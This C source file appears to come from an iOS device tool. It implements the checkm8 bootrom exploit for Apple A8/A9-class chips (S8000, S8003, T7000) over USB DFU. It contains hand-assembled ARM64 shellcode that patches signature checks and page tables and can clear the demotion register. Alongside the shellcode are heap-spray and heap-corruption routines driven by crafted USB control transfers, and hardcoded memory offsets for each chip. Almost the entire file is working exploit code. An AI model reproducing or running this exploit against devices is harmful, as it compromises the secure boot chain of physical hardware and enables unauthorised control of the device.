#include <io/iousb.h>
#include <common/common.h>
#include <asm64.h>
#include <dfu.h>
#include <exploit/checkm8/s8000.h>

static unsigned char blank[2048];
static unsigned char payload[2048];
static int payloadLen=2048;

static bool ispt; // ispt == 0 : Apple A9

static int checkm8_payload(io_client_t client, exploit_t conf)
{
    memset(&payload, '\0', 2048);
    
    uint64_t demote_flag = 0;
    uint32_t PWND_STR0 = 0x4e575020; // ' PWN'
    uint32_t PWND_STR1 = 0x695b3a44; // 'D:[i'
    uint32_t PWND_STR2 = 0x646e7770; // 'pwnd'
    uint32_t PWND_STR3 = 0x005d7265; // 'er]\x00'
    
    if(client->isDemotion == true) {
        demote_flag = 1;
        PWND_STR1 = 0x645b3a44; // 'D:[d'
        PWND_STR2 = 0x746f6d65; // 'emot'
        PWND_STR3 = 0x005d6465; // 'ed]\x00'
    }
    
    if(conf.hasHeapSpray == false) {
        DEBUGLOG("[%s] making checkm8 payload with eclipsa/checkra1n style", __FUNCTION__);
        
        dfu_overwrite_t overwrite;
        void *shc;
        memset(&overwrite, '\0', sizeof(overwrite));
        
        // 0x7ff's eclipsa style
        // original: https://github.com/0x7ff/eclipsa
        // create task
        overwrite.synopsys_task.id = 5;
        strcpy(overwrite.synopsys_task.name, "usb");
        overwrite.synopsys_task.magic_1 = TASK_MAGIC_1;
        overwrite.synopsys_task.stack_len = TASK_STACK_MIN;
        overwrite.synopsys_task.routine = conf.SYNOPSYS_ROUTINE_ADDR;
        overwrite.synopsys_task.stack_base = conf.IO_BUFFER_ADDR + offsetof(dfu_overwrite_t, fake_task);
        overwrite.synopsys_task.ret_waiters_list.prev = overwrite.synopsys_task.ret_waiters_list.next = overwrite.synopsys_task.stack_base + offsetof(dfu_task_t, queue_list);
        
        overwrite.heap_block.prev_sz = sizeof(overwrite.synopsys_task) / sizeof(overwrite.heap_block) + 1;
        overwrite.heap_block.this_sz = overwrite.synopsys_task.stack_len / sizeof(overwrite.heap_block) + 2;
        
        overwrite.fake_task.id = 6;
        overwrite.fake_task.irq_dis_cnt = 1;
        overwrite.fake_task.state = TASK_RUNNING;
        overwrite.fake_task.magic_1 = TASK_MAGIC_1;
        strcpy(overwrite.fake_task.name, "ipwnder");
        shc = overwrite.fake_task.arch.shc;
        
        overwrite.fake_task.arg = 0;
        int i=0;
        
        // _main:
        *(uint32_t*)(shc+i) = 0xa9bf7bfd; i+=4; // stp   x29, x30, [sp, #-0x10]!
        *(uint32_t*)(shc+i) = 0x910003fd; i+=4; // mov   x29, sp
        
        *(uint32_t*)(shc+i) = 0x58000700; i+=4; // ldr   x0, =gUSBSerialNumber
        
        // _find_zero_loop:
        *(uint32_t*)(shc+i) = 0x91000400; i+=4; // add   x0, x0, #1
        *(uint32_t*)(shc+i) = 0x39400001; i+=4; // ldrb  w1, [x0]
        *(uint32_t*)(shc+i) = 0x35ffffc1; i+=4; // cbnz  w1, _find_zero_loop
        *(uint32_t*)(shc+i) = 0x100005e1; i+=4; // adr   x1, PWND_STRING
        *(uint32_t*)(shc+i) = 0xa9400c22; i+=4; // ldp   x2, x3, [x1]
        *(uint32_t*)(shc+i) = 0xa9000c02; i+=4; // stp   x2, x3, [x0]
        *(uint32_t*)(shc+i) = 0x58000620; i+=4; // ldr   x0, =gUSBSerialNumber
        *(uint32_t*)(shc+i) = 0x58000641; i+=4; // ldr   x1, =usb_create_string_descriptor
        *(uint32_t*)(shc+i) = 0xd63f0020; i+=4; // blr   x1
        *(uint32_t*)(shc+i) = 0x58000641; i+=4; // ldr   x1, =gUSBSRNMStringDescriptor
        *(uint32_t*)(shc+i) = 0x39000020; i+=4; // strb  w0, [x1]
        *(uint32_t*)(shc+i) = 0x58000840; i+=4; // ldr   x0, =demote_flag
        *(uint32_t*)(shc+i) = 0xf100041f; i+=4; // cmp   x0, #1
        *(uint32_t*)(shc+i) = 0x54000121; i+=4; // bne   _eclipsa
        
        // _demotion:
        *(uint32_t*)(shc+i) = 0x58000621; i+=4; // ldr   x1, =gDemotionRegister
        *(uint32_t*)(shc+i) = 0xb9400020; i+=4; // ldr   w0, [x1]
        *(uint32_t*)(shc+i) = 0x7200001f; i+=4; // tst   w0, #1
        *(uint32_t*)(shc+i) = 0x54000380; i+=4; // beq   _end
        *(uint32_t*)(shc+i) = 0xb9400020; i+=4; // ldr   w0, [x1]
        *(uint32_t*)(shc+i) = 0x121f7800; i+=4; // and   w0, w0, #0xfffffffe
        *(uint32_t*)(shc+i) = 0xb9000020; i+=4; // str   w0, [x1]
        *(uint32_t*)(shc+i) = 0x14000018; i+=4; // b     _end
        
        // _eclipsa:
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd50343df; i+=4; // nop (a8) / msr   daifset, #0x3
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0x58000520; i+=4; // nop (a8) / ldr   x0, =VROM_PAGE_TABLE_ADDR
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xf940000a; i+=4; // nop (a8) / ldr   x10, [x0]
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xb24b054a; i+=4; // nop (a8) / orr   x10, x10, #0x60000000000000
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0x9278f94a; i+=4; // nop (a8) / and   x10, x10, #0xffffffffffffff7f
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xf900000a; i+=4; // nop (a8) / str   x10, [x0]
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd50e871f; i+=4; // nop (a8) / tlbi  alle3
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        
        *(uint32_t*)(shc+i) = 0x52ba5009; i+=4; // mov   w9, #0xd2800000
        *(uint32_t*)(shc+i) = 0x58000433; i+=4; // ldr   x19, =PATCH_ADDR
        *(uint32_t*)(shc+i) = 0xb9000269; i+=4; // str   w9, [x19]
        
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0x9249f54a; i+=4; // nop (a8) / and   x10, x10, #0xff9fffffffffffff
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xb279014a; i+=4; // nop (a8) / orr   x10, x10, #0x80
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xf900000a; i+=4; // nop (a8) / str   x10, [x0]
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd50e871f; i+=4; // nop (a8) / tlbi  alle3
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd50343ff; i+=4; // nop (a8) / msr   daifclr, #0x3
        *(uint32_t*)(shc+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        
        // _end:
        *(uint32_t*)(shc+i) = 0xd508751f; i+=4; // sys  #0, c7, c5, #0
        *(uint32_t*)(shc+i) = 0xd5033f9f; i+=4; // dsb  sy
        *(uint32_t*)(shc+i) = 0xd5033fdf; i+=4; // isb
        
        *(uint32_t*)(shc+i) = 0xa8c17bfd; i+=4; // ldp  x29, x30, [sp], #0x10
        *(uint32_t*)(shc+i) = 0xd65f03c0; i+=4; // ret
        
        // PWND_STRING:
        *(uint32_t*)(shc+i) = PWND_STR0;  i+=4;
        *(uint32_t*)(shc+i) = PWND_STR1;  i+=4;
        *(uint32_t*)(shc+i) = PWND_STR2;  i+=4;
        *(uint32_t*)(shc+i) = PWND_STR3;  i+=4;
        *(uint32_t*)(shc+i) = INSN_NOP;   i+=4; // nop
        
        // OFFSETS:
        *(uint64_t*)(shc+i) = conf.gUSBSerialNumber; i+=8;
        *(uint64_t*)(shc+i) = conf.usb_create_string_descriptor; i+=8;
        *(uint64_t*)(shc+i) = conf.gUSBSRNMStringDescriptor; i+=8;
        *(uint64_t*)(shc+i) = demote_flag; i+=8;
        *(uint64_t*)(shc+i) = conf.gDemotionRegister; i+=8;
        *(uint64_t*)(shc+i) = conf.VROM_PAGE_TABLE_ADDR; i+=8;
        *(uint64_t*)(shc+i) = conf.PATCH_ADDR; i+=8;
        
        overwrite.fake_task.magic_0 = TASK_STACK_MAGIC;
        overwrite.fake_task.arch.lr = conf.ARCH_TASK_TRAMP_ADDR;
        overwrite.fake_task.stack_len = overwrite.synopsys_task.stack_len;
        overwrite.fake_task.stack_base = overwrite.synopsys_task.stack_base;
        overwrite.fake_task.arch.sp = overwrite.fake_task.stack_base + overwrite.fake_task.stack_len;
        overwrite.fake_task.routine = overwrite.fake_task.stack_base + offsetof(dfu_task_t, arch.shc);
        overwrite.fake_task.queue_list.prev = overwrite.fake_task.queue_list.next = conf.IO_BUFFER_ADDR + offsetof(dfu_task_t, ret_waiters_list);
        overwrite.fake_task.ret_waiters_list.prev = overwrite.fake_task.ret_waiters_list.next = overwrite.fake_task.stack_base + offsetof(dfu_task_t, ret_waiters_list);
        
        payloadLen = sizeof(overwrite) - offsetof(dfu_overwrite_t, synopsys_task.callout);
        memcpy(payload, (const void*)&overwrite + offsetof(dfu_overwrite_t, synopsys_task.callout), payloadLen);
        return 0;
        
    } else {
        DEBUGLOG("[%s] making checkm8 payload with ipwndfu-a9 style", __FUNCTION__);
        
        int i=0; // sz
        // _start:
        *(uint32_t*)(payload+i) = 0xd2800013; i+=4; // mov   x19, #0
        *(uint32_t*)(payload+i) = 0xa9bf7bfd; i+=4; // stp   x29, x30, [sp, #-0x10]!
        *(uint32_t*)(payload+i) = 0x910003fd; i+=4; // mov   x29, sp
        *(uint32_t*)(payload+i) = 0x580008a0; i+=4; // ldr   x0, =gUSBDescriptors
        *(uint32_t*)(payload+i) = 0xa9400400; i+=4; // ldp   x0, x1, [x0]
        *(uint32_t*)(payload+i) = 0x100006c2; i+=4; // adr   x2, USB_DESCRIPTOR
        *(uint32_t*)(payload+i) = 0xa9401043; i+=4; // ldp   x3, x4, [x2]
        *(uint32_t*)(payload+i) = 0xa9411043; i+=4; // ldp   x3, x4, [x2, #0x10]
        *(uint32_t*)(payload+i) = 0x58000840; i+=4; // ldr   x0, =gUSBSerialNumber
        
        // _find_zero_loop:
        *(uint32_t*)(payload+i) = 0x91000400; i+=4; // add   x0, x0, #1
        *(uint32_t*)(payload+i) = 0x39400001; i+=4; // ldrb  w1, [x0]
        *(uint32_t*)(payload+i) = 0x35ffffc1; i+=4; // cbnz  w1, _find_zero_loop
        *(uint32_t*)(payload+i) = 0x100006e1; i+=4; // adr   x1, PWND_STRING
        *(uint32_t*)(payload+i) = 0xa9400c22; i+=4; // ldp   x2, x3, [x1]
        *(uint32_t*)(payload+i) = 0xa9000c02; i+=4; // stp   x2, x3, [x0]
        *(uint32_t*)(payload+i) = 0x58000760; i+=4; // ldr   x0, =gUSBSerialNumber
        *(uint32_t*)(payload+i) = 0x58000781; i+=4; // ldr   x1, =usb_create_string_descriptor
        *(uint32_t*)(payload+i) = 0xd63f0020; i+=4; // blr   x1
        *(uint32_t*)(payload+i) = 0x58000781; i+=4; // ldr   x1, =gUSBSRNMStringDescriptor
        *(uint32_t*)(payload+i) = 0x39000020; i+=4; // strb  w0, [x1]
        *(uint32_t*)(payload+i) = 0x58000780; i+=4; // ldr   x0, =demote_flag
        *(uint32_t*)(payload+i) = 0xf100041f; i+=4; // cmp   x0, #1
        *(uint32_t*)(payload+i) = 0x54000121; i+=4; // bne   _eclipsa
        
        // _demotion:
        *(uint32_t*)(payload+i) = 0x58000761; i+=4; // ldr   x1, =gDemotionRegister
        *(uint32_t*)(payload+i) = 0xb9400020; i+=4; // ldr   w0, [x1]
        *(uint32_t*)(payload+i) = 0x7200001f; i+=4; // tst   w0, #1
        *(uint32_t*)(payload+i) = 0x54000380; i+=4; // beq   _end
        *(uint32_t*)(payload+i) = 0xb9400020; i+=4; // ldr   w0, [x1]
        *(uint32_t*)(payload+i) = 0x121f7800; i+=4; // and   w0, w0, #0xfffffffe
        *(uint32_t*)(payload+i) = 0xb9000020; i+=4; // str   w0, [x1]
        *(uint32_t*)(payload+i) = 0x14000018; i+=4; // b     _end
        
        // _eclipsa:
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd50343df; i+=4; // nop (a8) / msr   daifset, #0x3
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0x58000660; i+=4; // nop (a8) / ldr   x0, =VROM_PAGE_TABLE_ADDR
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xf940000a; i+=4; // nop (a8) / ldr   x10, [x0]
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xb24b054a; i+=4; // nop (a8) / orr   x10, x10, #0x60000000000000
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0x9278f94a; i+=4; // nop (a8) / and   x10, x10, #0xffffffffffffff7f
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xf900000a; i+=4; // nop (a8) / str   x10, [x0]
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd50e871f; i+=4; // nop (a8) / tlbi  alle3
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        *(uint32_t*)(payload+i) = 0x52ba5009; i+=4; // ldr   w9, =INSN_MOV_X0_0
        *(uint32_t*)(payload+i) = 0x58000561; i+=4; // ldr   x1, =PATCH_ADDR // x19 reg cannot be used
        *(uint32_t*)(payload+i) = 0xb9000029; i+=4; // str   w9, [x1]
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0x9249f54a; i+=4; // nop (a8) / and   x10, x10, #0xff9fffffffffffff
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xb279014a; i+=4; // nop (a8) / orr   x10, x10, #0x80
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xf900000a; i+=4; // nop (a8) / str   x10, [x0]
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd50e871f; i+=4; // nop (a8) / tlbi  alle3
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033f9f; i+=4; // nop (a8) / dsb   sy
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd50343ff; i+=4; // nop (a8) / msr   daifclr, #0x3
        *(uint32_t*)(payload+i) = ispt ? INSN_NOP : 0xd5033fdf; i+=4; // nop (a8) / isb
        
        // _end:
        *(uint32_t*)(payload+i) = 0xd508751f; i+=4; // sys  #0, c7, c5, #0
        *(uint32_t*)(payload+i) = 0xd5033f9f; i+=4; // dsb  sy
        *(uint32_t*)(payload+i) = 0xd5033fdf; i+=4; // isb
        *(uint32_t*)(payload+i) = 0xa8c17bfd; i+=4; // ldp  x29, x30, [sp], #0x10
        *(uint32_t*)(payload+i) = 0xd65f03c0; i+=4; // ret
        
        // USB_DESCRIPTOR:
        *(uint32_t*)(payload+i) = 0x00190209; i+=4;
        *(uint32_t*)(payload+i) = 0x80050101; i+=4;
        *(uint32_t*)(payload+i) = 0x000409fa; i+=4;
        *(uint32_t*)(payload+i) = 0x01fe0000; i+=4;
        *(uint32_t*)(payload+i) = 0x21070000; i+=4;
        *(uint32_t*)(payload+i) = 0x00000a01; i+=4;
        *(uint32_t*)(payload+i) = 0x00000008; i+=4;
        *(uint32_t*)(payload+i) = 0x00000000; i+=4;
        
        // PWND_STRING:
        *(uint32_t*)(payload+i) = PWND_STR0;  i+=4;
        *(uint32_t*)(payload+i) = PWND_STR1;  i+=4;
        *(uint32_t*)(payload+i) = PWND_STR2;  i+=4;
        *(uint32_t*)(payload+i) = PWND_STR3;  i+=4;
        *(uint32_t*)(payload+i) = INSN_NOP;   i+=4; // nop
        
        // OFFSETS
        *(uint64_t*)(payload+i) = conf.gUSBDescriptors; i+=8;
        *(uint64_t*)(payload+i) = conf.gUSBSerialNumber; i+=8;
        *(uint64_t*)(payload+i) = conf.usb_create_string_descriptor; i+=8;
        *(uint64_t*)(payload+i) = conf.gUSBSRNMStringDescriptor; i+=8;
        *(uint64_t*)(payload+i) = demote_flag; i+=8;
        *(uint64_t*)(payload+i) = conf.gDemotionRegister; i+=8;
        *(uint64_t*)(payload+i) = conf.VROM_PAGE_TABLE_ADDR; i+=8;
        *(uint64_t*)(payload+i) = conf.PATCH_ADDR; i+=8;
        
        payloadLen = i;
        return 0;
        
    }
    return -1;
}

static void heap_spray(io_client_t client) {
    transfer_t result;
    UInt32 wLen;
    
    memset(&blank, '\0', 2048);
    
    int i=0;
    for(i=0;i<16384;i++){
        wLen = async_usb_ctrl_transfer_with_cancel_noloop(client, 0x80, 6, 0x0304, 0x040a, blank, 192, 1);
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
        if(result.ret != kIOReturnSuccess) break;
    }
    DEBUGLOG("[%s] (1/3) %x, %d", __FUNCTION__, result.ret, i);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 192, 1);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    for(i=0;i<40;i++){
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 193, 1);
    }
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

static void set_global_state(io_client_t client, exploit_t conf)
{
    transfer_t result;
    unsigned int val;
    UInt32 sent;
    
    memset(&blank, '\x41', 2048);
    
    val = conf.pushVal;
    
    int i=0;
    while((sent = async_usb_ctrl_transfer_with_cancel(client, 0x21, 1, 0x0000, 0x0000, blank, 2048, 0)) >= val){
        i++;
        DEBUGLOG("[%s] (*) retry: %x", __FUNCTION__, i);
        usleep(10000);
        result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 64);
        DEBUGLOG("[%s] (*) %x", __FUNCTION__, result.ret);
        usleep(10000);
    }
    
    val += 0x40;
    val -= sent;
    
    DEBUGLOG("[%s] (1/3) sent: %x, val: %x", __FUNCTION__, sent, val);
    
    result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, blank, val, 100);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

static void heap_occupation(io_client_t client, exploit_t conf)
{
    transfer_t result;
    memset(&blank, '\0', 2048);
    
    if(conf.hasHeapSpray == false) {
        result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, payload, payloadLen, 100);
        DEBUGLOG("[%s] (1/2) %x", __FUNCTION__, result.ret);
        result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
        DEBUGLOG("[%s] (2/2) %x", __FUNCTION__, result.ret);
    } else {
        result = usb_ctrl_transfer_with_time(client, 2, 3, 0x0000, 128, NULL, 0, 10);
        DEBUGLOG("[%s] (1/3) %x", __FUNCTION__, result.ret);
        
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
        DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
        
        memset(&blank, '\0', conf.overwrite_size);
        *(uint64_t*)(blank + conf.overwrite_off) = conf.loadaddr;
        
        result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, blank, conf.overwrite_size, 100);
        DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
    }
}

int checkm8_s8000(io_client_t client, bool eclipsaStyle)
{
    transfer_t result;
    
    exploit_t conf;
    memset(&conf, '\0', sizeof(exploit_t));
    
    if(eclipsaStyle == true) {
        conf.hasHeapSpray   = false;
        conf.pushVal        = 768;
        conf.resetFlag      = USB_NO_RESET;
        conf.overwrite_size = 0; // not used
        conf.overwrite_off  = 0; // not used
    } else {
        conf.hasHeapSpray   = true;
        conf.pushVal        = 1344;
        conf.resetFlag      = USB_REENUMERATE;
        conf.overwrite_size = 0x30;
        conf.overwrite_off  = 0x20;
    }
    
    if(client->devinfo.cpid == 0x8000 ||
       client->devinfo.cpid == 0x8003) {
        ispt = 0;
        conf.SYNOPSYS_ROUTINE_ADDR          = 0x100006718;
        conf.IO_BUFFER_ADDR                 = 0x18010D500;
        conf.VROM_PAGE_TABLE_ADDR           = 0x1800C8400;
        conf.ARCH_TASK_TRAMP_ADDR           = 0x10000D998;
        conf.gUSBSerialNumber               = 0x180087958;
        conf.gUSBSRNMStringDescriptor       = 0x1800807DA;
        conf.gUSBDescriptors                = 0x1800877E0;
        conf.usb_create_string_descriptor   = 0x10000E354;
        conf.gDemotionRegister              = 0x2102BC000;
        conf.PATCH_ADDR                     = 0x10000812C;
        conf.loadaddr                       = 0x180380000;
    } else if(client->devinfo.cpid == 0x7000) {
        ispt = 1;
        conf.SYNOPSYS_ROUTINE_ADDR          = 0x100005530;
        conf.IO_BUFFER_ADDR                 = 0x18010D300;
        conf.VROM_PAGE_TABLE_ADDR           = 0;
        conf.ARCH_TASK_TRAMP_ADDR           = 0x10000D988;
        conf.gUSBSerialNumber               = 0x1800888C8;
        conf.gUSBSRNMStringDescriptor       = 0x18008062A;
        conf.gUSBDescriptors                = 0x180088760;
        conf.usb_create_string_descriptor   = 0x10000E074;
        conf.gDemotionRegister              = 0x20E02A000;
        conf.PATCH_ADDR                     = 0x100007E98;
        conf.loadaddr                       = 0x180380000;
    } else {
        ERROR("[%s] ERROR: Failed to set offsets!", __FUNCTION__);
        return -1;
    }
    
    if(checkm8_payload(client, conf) != 0) {
        ERROR("[%s] ERROR: Failed to generate payload!", __FUNCTION__);
        return -1;
    }
    
    memset(&blank, '\0', 2048);
    
    LOG_EXPLOIT_NAME("checkm8");
    
    // reset
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 2048);
    usleep(1000);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 10000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    if(conf.hasHeapSpray == true) {
        LOG("[%s] running heap_spray()", __FUNCTION__);
        heap_spray(client);
        
        LOG("[%s] reconnecting", __FUNCTION__);
        io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 10000);
        if(!client) {
            ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
            return -1;
        }
    }
    
    LOG("[%s] running set_global_state()", __FUNCTION__);
    set_global_state(client, conf);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, conf.resetFlag, false, 10000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running heap_occupation()", __FUNCTION__);
    heap_occupation(client, conf);
    if(conf.hasHeapSpray == true) {
        send_payload_no_error(client, payload, payloadLen);
        
        LOG("[%s] reconnecting", __FUNCTION__);
        io_reconnect(&client, 5, DEVICE_DFU, USB_REENUMERATE, false, 100000);
        if(!client) {
            ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
            return -1;
        }
        
        result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
        DEBUGLOG("[%s] sending abort (1/1) %x", __FUNCTION__, result.ret);
    }
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, conf.resetFlag, true, 100000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    if(client->hasSerialStr == false) {
        read_serial_number(client); // For iOS 10 and lower
    }
    
    if(client->hasSerialStr != true) {
        ERROR("[%s] Serial number was not found!", __FUNCTION__);
        return -1;
    }

    if(client->devinfo.hasPwnd == true) {
        if(!strcmp(client->devinfo.pwnstr, "demoted")) {
            LOG("[%s] demoted!", __FUNCTION__);
            return 0;
        }
        LOG("[%s] pwned!", __FUNCTION__);
        return 1;
    }
    
    return -1;
}
